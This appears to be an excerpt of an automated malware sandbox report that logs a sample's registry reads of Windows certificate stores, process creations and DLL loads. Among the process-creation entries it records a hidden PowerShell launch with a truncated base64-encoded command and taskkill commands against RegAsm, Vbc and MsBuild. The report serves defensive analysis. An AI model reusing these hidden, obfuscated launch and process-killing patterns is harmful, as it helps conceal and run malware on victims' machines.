"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")30:T5ca,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")31:T55f,"cmd.exe" called "CreateProcessW" with parameter "powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''WwBOAGUAdAAuAFMAZQByAHYAa" - (UID: 00000000-00003788), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AY" - (UID: 00000000-00001496), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & t" - (UID: 00000000-00001612), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\) { (G" - (UID: 00000000-00001612) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F" - (UID: 00000000-00004416) "cmd.exe" called "CreateProcessW" with parameter "taskkill /IM RegAsm.exe /F" - (UID: 00000000-00007140) "cmd.exe" called "CreateProcessW" with parameter "taskkill /IM Vbc.exe /F" - (UID: 00000000-00007140) "cmd.exe" called "CreateProcessW" with parameter "taskkill /IM MsBuild.exe /F" - (UID: 00000000-00007140)32:Tc029,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003788) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003788) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003788) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00001496) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001612) 